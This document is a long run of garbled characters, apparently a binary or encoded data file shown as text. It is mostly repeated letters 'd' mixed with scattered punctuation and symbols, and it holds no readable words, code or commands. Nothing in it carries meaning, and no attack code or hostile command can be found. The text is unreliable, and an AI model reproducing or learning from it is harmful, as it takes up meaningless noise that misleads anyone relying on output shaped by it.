d d d d d dfdd  dd  d dd d d d d ! " + # & $f %fdf ' )f (fdf *fdf , -d .dfd 0dd 1 2d 3d 4d 5d 6d 7d 8d 9d :d ;d <d =d >dfd @d A  B j C Rd D Ed Fd Gd Hd Id Jd Kd Ld Md Nd Od Pd Qdfdd S Tdd U Vd Wdd Xd Yd Zd [d \ ] f ^ a _f `fdf b df cfdf efdf g hd idfd k zd l md nd od pd qd rd sd td ud vd wd xd ydfdd { |dd } ~d dd d d d d      f fdf  f fdf fdf  d dfd   dd  d d d d d d d d d d d d dfd dd  d d d d d d d d d d d d dfd d d     d   dd  d d d   d d d d d d d d dYd d dd  d d d d d dYd dd  d d d d d d d d d d d d dYd d   dd  d d d   d d d d d d d d dYd d dd  d d d d d dYd dd  d d d d d d d d d d d d dYd  < d  , dd  d d d  " d d d d d d d d !dYd #d $dd % &d 'd (d )d *d +dYd -dd . /d 0d 1d 2d 3d 4d 5d 6d 7d 8d 9d :d ;dYd =d > X ?dd @ Ad Bd Cd D N Ed Fd Gd Hd Id Jd Kd Ld MdYd Od Pdd Q Rd Sd Td Ud Vd WdYd Ydd Z [d \d ]d ^d _d `d ad bd cd dd ed fd gdYd i. jd kd l  m  nd o  p d q rd sd td ud vd wd xd yd zd {d |d }d ~dZdd  d dd  dd  dd  d d d d dZd dd  d d d d d d d d d d d d dZd d    d  d d d d d d d d d d d d dZdd  d dd  dd  dd  d d d d dZd dd  d d d d d d d d d d d d dZd   d    d  d d d d d d d d d d d d dZdd  d dd  dd  dd  d d d d dZd dd  d d d d d d d d d d d d dZd dddddddd d d d d dddZddddddddddddddZddd !d"d#d$d%d&d'd(d)d*d+d,d-dZd/d0d12c3d4S5Dd67d8d9d:d;d<d=d>d?d@dAdBdCdddEFdGdHdIdJdKddLdMNdOdPdQdRddTddUVdWdXdYdZd[d\d]d^d_d`dadbddddefudghdidjdkdldmdndodpdqdrdsdtdddvwdxdydzd{d|dd}d~dddddddddddddddddddddddddddddddddddddddd9~XdddddddddddddddddUddddUdUdUddddddddddddddddUddddddddddddddddUddddUdUdUddddddddddddddddUdd7dd  d d d dddddddddUddddUdUdUd dd!"d#d$d%d&d'/(d)d*d+d,d-d.dUd0d1d2dU34dU56dUd8H9dd:;d<d=d>d?d@dAdBdCdDdEdFdGdUdIddJKdLdMdNdOdPdQdRdSdTdUdVdWdUdYdZ[\{]d^k_dd`adbdcdddedfdgdhdidjddlddmndodpdqdrdsdtdudvdwdxdydzdd|d}~ddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd dd  d d ddddddddddddddwJd: dd!"d#d$/%d&d'd(d)d*d+d,d-d.ddd0d12dd34d5d6d7d8d9dd;dd<=d>d?d@dAdBdCdDdEdFdGdHdIddKdLgMddNOdPdQ\RdSdTdUdVdWdXdYdZd[ddd]d^_dd`adbdcdddedfddhddijdkdldmdndodpdqdrdsdtdudvddxdydz{dd|}d~dddddddddddddddddddddddddddddddddddddddddL,ddddddddddddddd,ddddddddddddddd,ddddddddddd,d,d,dddddddddddddddd,d dddddddddddddd,ddddddddddd, d,  d,d ddddddddddddddd,d<-d d!d"d#d$d%d&d'd(d)d*d+d,d,dd./dd01d2dd3d4d56d7d,89d,:;d,d=dd>?d@dAdBdCdDdEdFdGdHdIdJdKd,dMdNdOnP_dQRdSdTdUdVdWdXdYdZd[d\d]d^d,dd`addbcddddedfdghdid,jkd,lmd,doddpqdrdsdtdudvdwdxdydzd{d|d}d,d ddddddddddddddddddfdddddddffddfddddddddddddddddfddddddddddddddddfdddddddffddfddddddddddddddddfddddddddddddddddfdddddddffddfddddddddddddd d d dfd dd`Nd>/dddSdSdddSdd d!d"d#,$d%d&d'd(d)d*d+dSd-dd.Sdd01dd23dd4d5d67d8d9d:d;d<dS=Sd?dd@AdBdCdDdEdFdGdHdIdJdKdLdMdSdOdSPQddRSdTdUdVdWdXdYdZd[d\d]d^d_dSdabdcdeofdgdhdSijdSkldmdndSdpdqdrdsdt}udvdwdxdydzd{d|dSd~ddSddddddddddddddSSddddddddddddddddSdddddSdSdddSdddddddddddddSdddSddddddddddddddSSddddddddddddddddSdddRd dddddddddddddddddddddddddddd d dd  dddddddddddddddB5'd d!d"#d$%d&dd(d)d*d+d,d-d.d/0d1d2d3d4ddd6d78dd9d:;d<=d>?d@AdCddDEdFdGdHdIdJdKdLdMdNdOdPdQddSTdU{VnW`XdYdZd[\d]^d_ddadbdcdddedfdgdhidjdkdldmdddodpqddrdstduvdwxdyzd|dd}~ddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddY(ddddddddddddddZdddddddddddddddZddddddddddddddddZd ddddddddddddddZdd  d d dddddddddddZdddddddd d!d"d#d$d%d&d'dZd)d*I+:d,-d.d/d0d1d2d3d4d5d6d7d8d9dZdd;<d=d>d?d@dAdBddCDdEdFdGdHdZdJddKLdMdNdOdPdQdRdSdTdUdVdWdXdZdZd[d\{]ld^_d`dadbdcdddedfdgdhdidjdkdZddmndodpdqdrdsdtdduvdwdxdydzdZd|dd}~dddddddddddddZddSdddddddddddddddRddddddddddddddRddddddddddddddddRddddddddddddddddRddddddddddddddRddddddddddddddddRd#dddddddddddddddRddddd d  d dd dddddRddddddddddddd d!d"dRd$d%C&5d'(d)d*d+d,d-d.d/d0d1d2d3d4dRdd67d8dd9d:;d<dd=d>d?@dAdBdRdDddEFdGdHdIdJdKdLdMdNdOdPdQdRdRdTdUdVdWuXgdYZd[d\d]d^d_d`dadbdcdddedfdRddhidjddkdlmdnddodpdqrdsdtdRdvddwxdydzd{d|d}d~dddddddRddddddddddddddddddZ#ddddddddddddddZ#ddddddddddddddddZ#ddddddddddddddddZ#ddddddddddddddZ#ddddddddddddddddZ#ddd ddddddddddddddZ#ddddddddddddd dZ#d dd  dddddddddddddZ#ddddO d!?"1d#$d%d&d'd(d)d*d+d,d-d.d/d0dZ1dd23d4dd5d67d8dd9:dd;<d=d>dZ1d@ddABdCdDdEdFdGdHdIdJdKdLdMdNdZ1dPdQoRadSTdUdVdWdXdYdZd[d\d]d^d_d`dZ1ddbcddddedfgdhddijddkldmdndZ1dpddqrdsdtdudvdwdxdydzd{d|d}d~dZ1ddddddddddddddddZ1ddddddddddddddZ1ddddddddddddddddZ1ddddddddddddddddZ1ddddddddddddddZ1ddddddddddddddddZ1dsdHdddddddddddddddZ?dddddddddddddddZ?ddd  d d d ddddddddddZ?dd8)ddddd d!d"d#d$d%d&d'd(dZ?dd*+d,d-dd.d/d0d1d23d4d5d6d7dZ?d9dd:;d<d=d>d?d@dAdBdCdDdEdFdGdZ?dIzJdKjL[dMNdOdPdQdRdSdTdUdVdWdXdYdZdZ?dd\]d^d_dd`dadbdcddedfdgdhdidZ?dkddlmdndodpdqdrdsdtdudvdwdxdydZ?d{d|}d~dddddddddddddZ?dddddddddddddddZ?ddddddddddddddddZ?ddddddddddddddddddZ?dddddddddddddddZ?ddddddddddddddddZ?dddBdddddddddddddddZNddddddddddddddZNddddddd d d d d dddddZNdd2$dddddddddd d!d"d#dZNdd%&d'dd(d)*d+d,dd-.d/d0d1dZNd3dd45d6d7d8d9d:d;d<d=d>d?d@dAdZNdCdDdEcFUdGHdIdJdKdLdMdNdOdPdQdRdSdTdZNddVWdXddYdZ[d\d]dd^_d`dadbdZNddddefdgdhdidjdkdldmdndodpdqdrdZNdt=udvdwxydz{d|}d~ddddddddddddZ]dddddddddddddddZ]ddddddddddddddddZ]ddddddddddddddddZ]dddddddddddddddZ]ddddddddddddddddZ]d dddddddddddddddZ]dddddddddddddddZ]ddddddddddddd d d dZ]d d-ddddddddddddddZ]dd d!d"dd#d$d%&d'd(d)d*d+d,dZ]d.dd/0d1d2d3d4d5d6d7d8d9d:d;d<dZ]d>d?@ArBdCbDSdEFdGdHdIdJdKdLdMdNdOdPdQdRdddTUddVdWXdYddZ[d\]d^_d`daddcdddedfdgdhdidjdkdldmdndodpdqddsdtudvwdxdydzd{d|d}d~dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd d ) d  ddddddddddddddddddd dd!"d#$d%&d'd(dd*dd+,d-d.d/d0d1d2d3d4d5d6d7d8dd:;<:=9>d?@ArBdCbDSdEFdGdHdIdJdKdLdMdNdOdPdQdRdddTUdVddWdXYdZd[d\dd]^d_d`daddcdddedfdgdhdidjdkdldmdndodpdqddsdtudvwdxdydzd{d|d}d~dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd d ) d  ddddddddddddddddddd d!d"d#dd$%d&d'd(dd*dd+,d-d.d/d0d1d2d3d4d5d6d7d8dd:d;<=o>d?_@OdABdCdDdEdFdGdHdIdJdKdLdMdNdddPQddRSddTUdVddWdXYdZ[^\]dd`ddabdcdddedfdgdhdidjdkdldmdnddpdqrdstdudvdwdxdydzd{d|d}d~dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd d * d  ddddddddddddddddddd d!dd"d#$d%&)'(dd+dd,-d.d/d0d1d2d3d4d5d6d7d8d9dd;<d=d>?l@dA\BQdCDdEdFdGdHdIdJdKdLdMdNdOdPdDddRSddTdUVdWdXddYDZ[dDd]dd^_d`dadbdcdddedfdgdhdidjdkdDdmdno~dpqdrdsdtdudvdwdxdydzd{d|d}dDdddddddddDdDddddddddddddddddDddddddddddddddddDdddddddddDdDddddddddddddddddDddddddddddddddddDdddddddddDdDddddddddddddddddDdddX dddddddddddddd dd dd  dddddddddddddddH;(d d!d"#d$%d&d'dd)d*d+6,d-d.d/d0d1d2d3d4d5dd7dd8d9d:dd<d=>d?dd@AdBdCdDEFGddIddJKdLdMdNdOdPdQdRdSdTdUdVdWddYdZd[\z]g^d_d`dabdcddedfddhdidjukdldmdndodpdqdrdsdtddvddwdxdydd{d|}d~ddddddddddddddddddddddd.dddddddddddddddddZldddddddddddddZlZlddddddddddddddddZlddddddddddddddddZldddddddddddddZlZlddddddddddddddddZldddddddddd d d d d dddZldddddddddddddZlZlddd !d"d#d$d%d&d'd(d)d*d+d,d-dZld/d0d12b3d4R5Dd67d8d9d:d;d<d=d>d?d@dAdBdCdWddEFddGHdIddJdKdLMddNWOPdWQWdSddTUdVdWdXdYdZd[d\d]d^d_d`dadWdcddetdfgdhdidjdkdldmdndodpdqdrdsdWdduvddwxdyddzd{d|}dd~WdWWddddddddddddddddWdddddddddddddddddWdddddddddddWdWWddddddddddddddddWd\dd*ddddddddddddddddddddddddddddddddddddddddddddddd dddddddddddd d ddd  dddddddddddddddddd d!d"d#d$d%d&d'd(d)dd+d,d-L.=d/0d1d2d3d4d5d6d7d8d9d:d;d<ddd>?d@ddAdBdCdDEddFGdHdIdJKddMddNOdPdQdRdSdTdUdVdWdXdYdZd[dd]d^d_`adbcrddedfdgdhdidjdkdldmdndodpdqdn ddstduddvdwdxdydzd{d|}d~dn n ddddddddddddddddn ddddddddddddddddn dddddddddddddn n ddddddddddddddddn dddddddddddddddddn dddddddddddddn n ddddddddddddddddn d#x!] d  Z )d  dddd d d d d d d d d d dodd  dd  d dd  dd d d  do o o od dd  d d d d d !d "d #d $d %d &d 'd (dod *d + J , ;d - .d /d 0d 1d 2d 3d 4d 5d 6d 7d 8d 9d :dodd < =dd > ?d @dd A Bdd Cd Dd E Fdo Go Ho Iod Kdd L Md Nd Od Pd Qd Rd Sd Td Ud Vd Wd Xd Ydod [ m \do ] ^dd _ `d ad bd cd dd ed fd gd hd id jd kd ldod nd o  p d q rd sd td ud vd wd xd yd zd {d |d }d ~dodd  dd  d dd  dd d d  do o o od dd  d d d d d d d d d d d d dod d d d    d  d d d d d d d d d d d d dodd  dd  d dd  dd d d  do o o od dd  d d d d d d d d d d d d dod d d !/ ! d   dd  d d   d d d d d d d d d d,*d d d dd d  d d d d d,*d dd  d d d d d d d d d d d!d!d,*d!d!!!dd!!d!d! !! d! d! d! d!d!d!d!d!d!d,*d!d!d!dd!d!!d!d!d!d!d,*d! dd!!!"d!#d!$d!%d!&d!'d!(d!)d!*d!+d!,d!-d!.d,*d!0d!1d!2!M!3dd!4!5d!6d!7!B!8d!9d!:d!;d!<d!=d!>d!?d!@d!Ad,*d!Cd!Dd!Edd!Fd!G!Hd!Id!Jd!Kd!Ld,*d!Ndd!O!Pd!Qd!Rd!Sd!Td!Ud!Vd!Wd!Xd!Yd!Zd![d!\d,*d!^"!_d!`"?!a!!b!!cd!d!!e!td!f!gd!hd!id!jd!kd!ld!md!nd!od!pd!qd!rd!sdV|dd!u!vdd!w!xdd!yd!z!{dd!|!}!!~V|!V|!V|V|!V|!V|d!d!d!d!d!dV|d!dd!!d!d!d!d!d!d!d!d!d!d!d!d!dV|d!d!!!!d!!d!d!d!d!d!d!d!d!d!d!d!d!dV|dd!!dd!!dd!d!!dd!!!!V|!V|!V|V|!V|!V|d!d!d!d!d!dV|d!dd!!d!d!d!d!d!d!d!d!d!d!d!d!dV|d!"!d!!!!d!!d!d!d!d!d!d!d!d!d!d!d!d!dV|dd!!dd!!dd!d!!dd!!!!V|!V|!V|V|!V|!V|d!d!d!d!d!dV|d!dd!!d!d!d!d!d"d"d"d"d"d"d"d"dV|d" d" "/" "d" " d"d"d"d"d"d"d"d"d"d"d"d"dV|dd""dd""dd"d" "!dd"""#")"$V|"%V|"&V|V|"'V|"(V|d"*d"+d",d"-d".dV|d"0dd"1"2d"3d"4d"5d"6d"7d"8d"9d":d";d"<d"=d">dV|d"@d"A"x"Bd"C"h"D"Sd"E"Fd"Gd"Hd"Id"Jd"Kd"Ld"Md"Nd"Od"Pd"Qd"RdV|dd"T"Udd"V"Wdd"Xd"Y"Zdd"["\"b"]V|"^V|"_V|V|"`V|"aV|d"cd"dd"ed"fd"gdV|d"idd"j"kd"ld"md"nd"od"pd"qd"rd"sd"td"ud"vd"wdV|d"yd"z""{"d"|"}d"~d"d"d"d"d"d"d"d"d"d"d"dV|dd""dd""dd"d""dd""""V|"V|"V|V|"V|"V|d"d"d"d"d"dV|d"dd""d"d"d"d"d"d"d"d"d"d"d"d"dV|d"d"#d"# """d"""dd""d"d"""d"d"d"d"d"d"d"d"d"dZzd"d"d"dd""d"d"d"d"dZzd"dd""d"d"d"d"d"d"d"d"d"d"d"d"dZzd"d"""dd""d"d"""d"d"d"d"d"d"d"d"d"dZzd"d"d"dd""d"d"d"d"dZzd"dd""d"d#d#d#d#d#d#d#d#d#d# d# dZzd# #8# d##(#dd##d#d###d#d#d#d#d#d#d#d#d#dZzd#d# d#!dd#"##d#$d#%d#&d#'dZzd#)dd#*#+d#,d#-d#.d#/d#0d#1d#2d#3d#4d#5d#6d#7dZzd#9d#:#T#;dd#<#=d#>d#?#J#@d#Ad#Bd#Cd#Dd#Ed#Fd#Gd#Hd#IdZzd#Kd#Ld#Mdd#N#Od#Pd#Qd#Rd#SdZzd#Udd#V#Wd#Xd#Yd#Zd#[d#\d#]d#^d#_d#`d#ad#bd#cdZzd#ed#fd#gdZz#h#idd#j#kd#ld#md#nd#od#pd#qd#rd#sd#td#ud#vd#wdZzd#y$#z$#{d#|d#}##~##d####d##d#d#d#d#d#d#d#d#d#d#d#d#ddd##dd##d#d#dd##dd##d#d##d#dd#dd##d#d#d#d#d#d#d#d#d#d#d#d#dd#d####d##d#d#d#d#d#d#d#d#d#d#d#d#ddd##dd##d#d#dd##dd##d#d##d#dd#dd##d#d#d#d#d#d#d#d#d#d#d#d#dd#d#d#$##d##d#d#d#d#d#d#d#d#d#d#d#d#ddd##dd##d#d#dd##dd##d#d#$d$dd$dd$$d$d$d$d$ d$ d$ d$ d$ d$d$d$d$dd$d$d$$n$$B$d$$2$dd$$d$d$d$$($d$ d$!d$"d$#d$$d$%d$&d$'dZdd$)d$*$+dd$,$-d$.dZ$/$0d$1dZd$3dd$4$5d$6d$7d$8d$9d$:d$;d$<d$=d$>d$?d$@d$AdZd$Cd$D$^$Edd$F$Gd$Hd$Id$J$T$Kd$Ld$Md$Nd$Od$Pd$Qd$Rd$SdZdd$Ud$V$Wdd$X$Yd$ZdZ$[$\d$]dZd$_dd$`$ad$bd$cd$dd$ed$fd$gd$hd$id$jd$kd$ld$mdZd$o$$pd$q$$rdd$s$td$ud$vd$w$$xd$yd$zd${d$|d$}d$~d$d$dZdd$d$$dd$$d$dZ$$d$dZd$dd$$d$d$d$d$d$d$d$d$d$d$d$d$dZd$d$$$dd$$d$d$d$$$d$d$d$d$d$d$d$d$dZdd$d$$dd$$d$dZ$$d$dZd$dd$$d$d$d$d$d$d$d$d$d$d$d$d$dZd$%9$d$d$$$$$d$$dd$$d$d$d$d$d$d$d$d$d$d$d$d$dd$d$$dd$$d$d$d$d$d$d$d$d$d$d$d$d$dd$%'$d$%$d$$$d$d$d$$d$d$d$$d%d%% %d%d%d%d%d%d%d% d% d% d% dd%d%dd%%d%d%d%d%%d%dd%%d%d%d%d%d%d% d%!d%"d%#d%$d%%d%&dd%(d%)%*dd%+%,d%-d%.d%/d%0d%1d%2d%3d%4d%5d%6d%7d%8dd%:d%;d%<%%=%~%>d%?%n%@%_%A%G%Bd%Cd%Ddf%E%Fdfd%Hd%Id%Jd%K%U%Ld%Md%Nd%Od%Pd%Qd%Rd%Sd%Tdfdd%V%Wdd%Xd%Yf%Z%[f%\ff%]f%^dfd%`%add%bd%c%ddd%e%fdd%g%hd%id%jff%k%lf%mfdf%odd%p%qd%rd%sd%td%ud%vd%wd%xd%yd%zd%{d%|d%}dfd%d%%%%%%%d%d%df%%dfd%d%d%d%%%d%d%d%d%d%d%d%d%dfdd%%dd%d%f%%f%ff%f%dfd%%dd%d%%dd%%dd%%d%d%ff%%f%fdf%dd%%d%d%d%d%d%d%d%d%d%d%d%d%dfd%&%d%%%%%%%d%d%df%%dfd%d%d%d%%%d%d%d%d%d%d%d%d%dfdd%%dd%d%f%%f%ff%f%dfd%%dd%d%%dd%%dd%%d%d%ff%%f%fdf%dd%%d%d%d%d%d%d%d%d%d%d%d%d&dfd&&a&&2&&#&& &d&d&df& & dfd& d& d&d&&&d&d&d&d&d&d&d&d&dfdd&&dd&d&f&&f& ff&!f&"dfd&$&%dd&&d&'&(dd&)&*dd&+&,d&-d&.ff&/&0f&1fdf&3&R&4&:&5d&6d&7df&8&9dfd&;d&<d&=d&>&H&?d&@d&Ad&Bd&Cd&Dd&Ed&Fd&Gdfdd&I&Jdd&Kd&Lf&M&Nf&Off&Pf&Qdfd&S&Tdd&Ud&V&Wdd&X&Ydd&Z&[d&\d&]ff&^&_f&`fdf&b&r&cdd&d&ed&fd&gd&hd&id&jd&kd&ld&md&nd&od&pd&qdfd&sdd&t&ud&vd&wd&xd&yd&zd&{d&|d&}d&~d&d&d&dfd&Rp&8&/&+&) &'&&&d&d&&&&&dS&&dd&&d&d&d&d&d&d&d&d&d&d&d&d&dSd&dS&&dd&&d&d&d&d&d&d&d&d&d&d&d&d&dSd&d&dS&&dd&&d&d&d&d&d&d&d&d&d&d&d&d&dSd&d&d&'*&&&d&&&&d&&d&d&d&d&d&d&d&d&d&d&d&d&dROdd&&d&dd&d&&dd&d&&dd&&d&d&dRO&ROd&dd&&d&d&d&d&d&d&d&d&d&d&d&d&dROd&d&'&' d&&d&d'd'd'd'd'd'd'd'd'd' d' dROdd' ' d'dd'd''dd'd''dd''d'd'dRO'ROd'dd''d'd'd' d'!d'"d'#d'$d'%d'&d''d'(d')dROd'+'\',d'-'L'.'=d'/'0d'1d'2d'3d'4d'5d'6d'7d'8d'9d':d';d'<dROdd'>'?d'@dd'Ad'B'Cdd'Dd'E'Fdd'G'Hd'Id'JdRO'KROd'Mdd'N'Od'Pd'Qd'Rd'Sd'Td'Ud'Vd'Wd'Xd'Yd'Zd'[dROd']d'^'}'_'nd'`'ad'bd'cd'dd'ed'fd'gd'hd'id'jd'kd'ld'mdROdd'o'pd'qdd'rd's'tdd'ud'v'wdd'x'yd'zd'{dRO'|ROd'~dd''d'd'd'd'd'd'd'd'd'd'd'd'dROd'(W'd'd'''''d''''d''d'd'd'd'd'd'd'd'd'd'd'd'dZdd''d'd'd'dd''d'd'd'd'd'd'd'dZd'dd''d'd'd'd'd'd'd'd'd'd'd'd'dZd'd''''d''d'd'd'd'd'd'd'd'd'd'd'd'dZdd''d'd'd'dd''d'd'd'd'd'd'd'dZd'dd''d'd'd'd'd'd'd'd'd'd'd'd'dZd'(&'d'('(d''d'd'd'd'd'd(d(d(d(d(d(d(dZdd(( d( d( d( dd( (d(d(d(d(d(d(d(dZd(dd((d(d(d(d(d(d(d( d(!d("d(#d($d(%dZd('d(((G()(8d(*(+d(,d(-d(.d(/d(0d(1d(2d(3d(4d(5d(6d(7dZdd(9(:d(;d(<d(=dd(>(?d(@d(Ad(Bd(Cd(Dd(Ed(FdZd(Hdd(I(Jd(Kd(Ld(Md(Nd(Od(Pd(Qd(Rd(Sd(Td(Ud(VdZd(Xd(Yd(Z(([((\d(](|(^(md(_(`d(ad(bd(cd(dd(ed(fd(gd(hd(id(jd(kd(ldZdd(n(od(pdd(qd(rd(s(td(udd(v(wd(xd(yd(zdZ({dZ(}dd(~(d(d(d(d(d(d(d(d(d(d(d(d(dZd(d((((d((d(d(d(d(d(d(d(d(d(d(d(d(dZdd((d(dd(d(d((d(dd((d(d(d(dZ(dZ(dd((d(d(d(d(d(d(d(d(d(d(d(d(dZd(((d((((d((d(d(d(d(d(d(d(d(d(d(d(d(dZdd((d(dd(d(d((d(dd((d(d(d(dZ(dZ(dd((d(d(d(d(d(d(d(d(d(d(d(d(dZd(d()()d((d(d(d(d(d(d(d(d(d(d(d(d)dZdd))d)dd)d)d))d) dd) ) d) d) d)dZ)dZ)dd))d)d)d)d)d)d)d)d)d)d)d)d)dZd)!*)"))#d)$d)%))&)U)'d)()E)))8d)*)+d),d)-d).d)/d)0d)1d)2d)3d)4d)5d)6d)7dvdd)9):dd);)<dd)=)>d)?dd)@)Ad)Bdv)Cv)Dvd)Fdd)G)Hd)Id)Jd)Kd)Ld)Md)Nd)Od)Pd)Qd)Rd)Sd)Tdvd)Vd)W)t)X)gd)Y)Zd)[d)\d)]d)^d)_d)`d)ad)bd)cd)dd)ed)fdvdd)h)idd)j)kdd)l)md)ndd)o)pd)qdv)rv)svd)udd)v)wd)xd)yd)zd){d)|d)}d)~d)d)d)d)d)dvd)))d))))d))d)d)d)d)d)d)d)d)d)d)d)d)dvdd))dd))dd))d)dd))d)dv)v)vd)dd))d)d)d)d)d)d)d)d)d)d)d)d)dvd)d))))d))d)d)d)d)d)d)d)d)d)d)d)d)dvdd))dd))dd))d)dd))d)dv)v)vd)dd))d)d)d)d)d)d)d)d)d)d)d)d)dvd)d)d)*I)*)d)*))d))d)d)d)d)d)d)d)d)d)d)d)d)ddd))d)d)d)d)d*dd*d*d**d*d*d*dd* dd* * d* d* d*d*d*d*d*d*d*d*d*d*dd*d**9***d**d*d*d* d*!d*"d*#d*$d*%d*&d*'d*(d*)ddd*+*,d*-d*.d*/d*0d*1dd*2d*3d*4*5d*6d*7d*8dd*:dd*;*<d*=d*>d*?d*@d*Ad*Bd*Cd*Dd*Ed*Fd*Gd*Hdd*J*{*Kd*L*k*M*\d*N*Od*Pd*Qd*Rd*Sd*Td*Ud*Vd*Wd*Xd*Yd*Zd*[ddd*]*^d*_d*`d*ad*bd*cdd*dd*ed*f*gd*hd*id*jdd*ldd*m*nd*od*pd*qd*rd*sd*td*ud*vd*wd*xd*yd*zdd*|d*}**~*d**d*d*d*d*d*d*d*d*d*d*d*d*ddd**d*d*d*d*d*dd*d*d**d*d*d*dd*dd**d*d*d*d*d*d*d*d*d*d*d*d*dd*+*d*d*****d****d**d*d*d*d*d***d*d*d*d*d*d*ddd*dd**dd*d**dd**d*d*d*d***dd*dd**d*d*d*d*d*d*d*d*d*d*d*d*dd*d**dd**d*d*d*d*d*d*d*d*d*d*d*d*dd*d*d**dd**d*d*d*d*d+d+d+d+d+d+d+d+dd+ d+ d+ +l+ +<+ d++,++d++d+d+d+d+d+d+d+d+d+d+d+d+ddd++ d+!dd+"+#dd+$+%d+&d+'d+(d+)d+*d++dd+-dd+.+/d+0d+1d+2d+3d+4d+5d+6d+7d+8d+9d+:d+;dd+=d+>+\+?+Nd+@+Ad+Bd+Cd+Dd+Ed+Fd+Gd+Hd+Id+Jd+Kd+Ld+Mddd+O+Pd+Qdd+R+Sdd+T+Ud+Vd+Wd+Xd+Yd+Zd+[dd+]dd+^+_d+`d+ad+bd+cd+dd+ed+fd+gd+hd+id+jd+kdd+md+nd+o++p+d+q+rd+sd+td+ud+vd+wd+xd+yd+zd+{d+|d+}d+~ddd++d+dd++dd++d+d+d+d+d+d+dd+dd++d+d+d+d+d+d+d+d+d+d+d+d+dd+.^+,+,5+d+d+,+++d++++d++d+d+d+d+d+d+d+d+d+d+d+d+ddd++d+dd+d+d+d+d++dd++d+d+d+dd++d+d+d+d+d+d+d+d+d+d+d+d+dd+d++++d++d+d+d+d+d+d+d+d+d+d+d+d+ddd++d+dd+d+d+d+d++dd++d+d+d+dd++d+d+d+d+d+d+d+d+d,d,d,d,dd,d,d,,%,,d, , d, d, d, d,d,d,d,d,d,d,d,d,ddd,,d,dd,d,d,d,d,, dd,!,"d,#d,$d,&dd,',(d,)d,*d,+d,,d,-d,.d,/d,0d,1d,2d,3d,4dd,6d,7d,8,,9,j,:d,;,Z,<,Kd,=,>d,?d,@d,Ad,Bd,Cd,Dd,Ed,Fd,Gd,Hd,Id,Jd#dd,L,Mdd,N,Od,Pd,Qd,Rdd,Sd,Td,U,Vd#,W,Xd,Yd#d,[dd,\,]d,^d,_d,`d,ad,bd,cd,dd,ed,fd,gd,hd,id#d,kd,l,,m,|d,n,od,pd,qd,rd,sd,td,ud,vd,wd,xd,yd,zd,{d#dd,},~dd,,d,d,d,dd,d,d,,d#,,d,d#d,dd,,d,d,d,d,d,d,d,d,d,d,d,d,d#d,d,d,,,,d,,d,d,d,d,d,d,d,d,d,d,d,d,d#dd,,dd,,d,d,d,dd,d,d,,d#,,d,d#d,dd,,d,d,d,d,d,d,d,d,d,d,d,d,d#d,-,d,d,-d,-3,-,,,,d,,d,d,d,d,d,d,d,d,d,d,d,d,dDdd,,d,d,dd,d,,dd,d,d,,d,d,d,dDd,dd,,d,d,d,d,d,d,d,d,d,d-d-d-dDd--#--d--d-d- d- d- d- d- d-d-d-d-d-d-dDdd--d-d-dd-d--dd-d-d--d- d-!d-"dDd-$dd-%-&d-'d-(d-)d-*d-+d-,d--d-.d-/d-0d-1d-2dDd-4d-5-T-6-Ed-7-8d-9d-:d-;d-<d-=d->d-?d-@d-Ad-Bd-Cd-DdDdd-F-Gd-Hd-Idd-Jd-K-Ldd-Md-Nd-O-Pd-Qd-Rd-SdDd-Udd-V-Wd-Xd-Yd-Zd-[d-\d-]d-^d-_d-`d-ad-bd-cdDd-ed-fd-g--h-wd-i-jd-kd-ld-md-nd-od-pd-qd-rd-sd-td-ud-vdDdd-x-yd-zd-{dd-|d-}-~dd-d-d--d-d-d-dDd-dd--d-d-d-d-d-d-d-d-d-d-d-d-dDd-d-d-.,--------d--d-d-d-d-d-d-d-d-d-d-d-d-dZdd--d-d-d-dd-d-d-d--d-d-d-d-dZd-dd--d-d-d-d-d-d-d-d-d-d-d-d-dZd----d--d-d-d-d-d-d-d-d-d-d-d-d-dZdd--d-d-d-dd-d-d-d--d-d-d-d-dZd-dd--d-d-d-d-d-d-d-d-d-d-d-d-dZd-d-.-. d-.d.d.d.d.d.d.d.d.d. d. d. d. dZdd..d.d.d.dd.d.d.d..d.d.d.d.dZd.dd..d. d.!d."d.#d.$d.%d.&d.'d.(d.)d.*d.+dZd.-d..d./.N.0.?d.1.2d.3d.4d.5d.6d.7d.8d.9d.:d.;d.<d.=d.>dZdd.@.Ad.Bd.Cd.Ddd.Ed.Fd.Gd.H.Id.Jd.Kd.Ld.MdZd.Odd.P.Qd.Rd.Sd.Td.Ud.Vd.Wd.Xd.Yd.Zd.[d.\d.]dZd._.`/!.a.b.c..d..e.f..g.v.h.i.j.k.l.m.n.o.p.q.r.s.t.uZ.w.x.y.z.{.|.}.~....Z...............Z...................Z............Z...............Z.....................Z............Z...............Z.././..........////Z///// / / / / ///Z/////////////// Z/"/#/$//%//&/V/'/F/(/7/)/*/+/,/-/.///0/1/2/3/4/5/6Z/8/9/:/;/</=/>/?/@/A/B/C/D/EZ/G/H/I/J/K/L/M/N/O/P/Q/R/S/T/UZ/W/v/X/g/Y/Z/[/\/]/^/_/`/a/b/c/d/e/fZ/h/i/j/k/l/m/n/o/p/q/r/s/t/uZ/w/x/y/z/{/|/}/~///////Z///////////////////Z//////////////Z///////////////Z////////////////////Z//////////////Z///////////////Z/3/1/0/0/d/d/0Q/0!/d/0/0d//d/d/d/d/d/d/d/d/d/d0d0d0dWdd00d0dd00dd0 0 dd0 d0 d0 0d0d0dWd0dd00d0d0d0d0d0d0d0d0d0d0d0d0 